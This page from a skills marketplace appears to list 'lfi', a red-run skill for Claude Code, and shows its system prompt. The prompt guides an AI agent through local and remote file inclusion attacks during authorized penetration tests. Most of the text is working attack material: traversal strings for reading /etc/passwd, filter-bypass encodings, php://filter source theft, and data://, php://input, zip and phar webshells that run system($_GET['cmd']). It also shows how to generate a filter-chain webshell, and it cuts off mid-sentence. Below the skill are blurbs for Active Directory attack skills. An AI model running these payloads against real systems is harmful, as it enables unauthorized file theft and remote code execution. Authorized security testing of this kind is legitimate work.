acl-abuse
Exploits misconfigured Active Directory ACLs for privilege escalation. Covers GenericAll, GenericWrite, WriteDACL, WriteOwner, ForceChangePassword, targeted…
Guide Local File Inclusion (LFI) and Remote File Inclusion (RFI) exploitation during authorized penetration testing.
$ npx -y skills add blacklanternsecurity/red-run --skill lfi --agent claude-codeHow it fires
How this skill gets triggered: by you, by Claude, or both.
/lfiContext preview
The summary Claude sees to decide when to auto-load this skill.
Guide Local File Inclusion (LFI) and Remote File Inclusion (RFI) exploitation during authorized penetration testing.
name: lfi description: > Guide Local File Inclusion (LFI) and Remote File Inclusion (RFI) exploitation during authorized penetration testing. keywords: - LFI - lfi - local file inclusion - path traversal - directory traversal - file read - file inclusion - php://filter - PHP wrappers - log poisoning - RFI - rfi - remote file inclusion - LFI to RCE - ../../../etc/passwd - file read vulnerability - include vulnerability - file_get_contents - include() - require() - UNC path - Windows LFI tools: - burpsuite - ffuf - php_filter_chain_generator opsec: low
You are helping a penetration tester exploit file inclusion vulnerabilities. The target application includes files based on user-controlled input — either locally (LFI) or from a remote URL (RFI). The goal is to read sensitive files, extract source code, and escalate to remote code execution. All testing is under explicit written authorization.
Check for `./engagement/` directory. If absent, proceed without logging.
When an engagement directory exists:
descriptive filenames (e.g., `sqli-users-dump.txt`, `ssrf-aws-creds.json`).
Call `get_state_summary()` from the state MCP server to read current engagement state. Use it to:
Your return summary must include:
`?doc=`, `?view=`, `?content=`, `?template=`, `?action=`, `?dir=`, `?cat=`, `?mod=`, `?conf=`, `?locate=`
If not already provided, determine: 1. **Platform** — Linux or Windows (try `/etc/passwd` vs `C:\Windows\win.ini`) 2. **Language** — PHP, Java/JSP, Node.js, Python, ASP.NET 3. **Injection point** — which parameter, GET/POST/cookie/header 4. **Base behavior** — does the param expect a filename, path, or URL?
Skip if context was already provided.
# Linux ../../../etc/passwd # Windows ..\..\..\Windows\win.ini ..\..\..\..\Windows\win.ini
If basic traversal is blocked, try these in order:
# URL encoding ..%2f..%2f..%2fetc%2fpasswd # Double URL encoding (when server decodes twice) %252e%252e%252f%252e%252e%252fetc%252fpasswd # Non-recursive stripping (server removes ../ once) ....//....//....//etc/passwd ..././..././..././etc/passwd # UTF-8 overlong encoding %c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd # Null byte (PHP < 5.3.4) ../../../etc/passwd%00 ../../../etc/passwd%00.php # Path truncation (exhaust 4096-byte limit, PHP < 5.3) ../../../etc/passwd/./././././[repeat to 4096+ chars] # Mixed separators ..\/..\/..\/etc/passwd # Backslash encoding %5C..%5C..%5C..%5Cetc%5Cpasswd
# Backslash traversal ..\..\..\..\Windows\win.ini # UNC path (may trigger SMB) \\localhost\c$\Windows\win.ini # FindFirstFile wildcard (matches temp files) ..\..\..\..\Windows\Temp\php<<
PHP wrappers are the most powerful LFI technique — they can read source code, execute arbitrary PHP, and bypass many filters.
Read PHP source without executing it:
php://filter/convert.base64-encode/resource=index.php php://filter/convert.base64-encode/resource=config.php php://filter/convert.base64-encode/resource=../config/database.php
Decode the base64 output to get the source code.
**If base64 is blocked:**
# ROT13 php://filter/string.rot13/resource=index.php # Chained filters php://filter/zlib.deflate/convert.base64-encode/resource=index.php # iconv conversion php://filter/convert.iconv.UTF-8.UTF-16/resource=index.php # Case insensitive (bypass keyword filter) PhP://FiLtEr/convert.base64-encode/resource=index.php
Requires `allow_url_include=On` (rare but check):
data://text/plain,<?php system($_GET['cmd']); ?>&cmd=id data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7Pz4=&cmd=id
Requires `allow_url_include=On`:
# Include php://input, then send PHP code in POST body:
POST /vuln.php?page=php://input HTTP/1.1
<?php system('id'); ?>Requires `expect` extension (rare):
expect://id expect://ls+-la
Upload a ZIP containing a PHP shell (disguised as allowed extension):
# Create zip with shell echo '<?php system($_GET["cmd"]); ?>' > shell.php zip shell.jpg shell.php # Upload shell.jpg, then include: zip://uploads/shell.jpg%23shell.php&cmd=id # phar:// variant phar://uploads/archive.phar/shell.txt
When you can read files but need code execution:
The most reliable modern LFI-to-RCE technique. Uses chained `php://filter` iconv conversions to generate arbitrary PHP code without writing to disk.
# Install the generator git clone https://github.com/synacktiv/php_filter_chain_generator # Generate a webshell chain python3 php_filter_chain_generator.py --chain '<?php system($_GET["cmd"]); ?>' # Use the output as the LFI parameter value # Result is
Security assessment toolkit for Claude Code. red-run combines skills, MCP servers, and Claude Code agent teams with routing logic that guides Claude and the operator through the phases of a security assessment — recon, initial access, lateral movement,
Exploits misconfigured Active Directory ACLs for privilege escalation. Covers GenericAll, GenericWrite, WriteDACL, WriteOwner, ForceChangePassword, targeted…
Enumerates Active Directory domains and maps attack surface for penetration testing.
Establishes persistent access in Active Directory environments after domain compromise. Covers DCShadow (rogue DC attribute modification), Skeleton Key (LSASS…
Exploits ADCS through ACL abuse on templates/CA objects and NTLM relay to enrollment endpoints. Covers ESC4 (template ACL → modify to ESC1), ESC5 (PKI object…
Establishes persistence and exploits weak certificate mapping in AD CS. Covers ESC9 (no security extension), ESC10 (weak certificate mapping), ESC12-15…
Exploits misconfigured AD CS certificate templates to impersonate any domain user via SAN manipulation or enrollment agent abuse. Covers ESC1 (enrollee…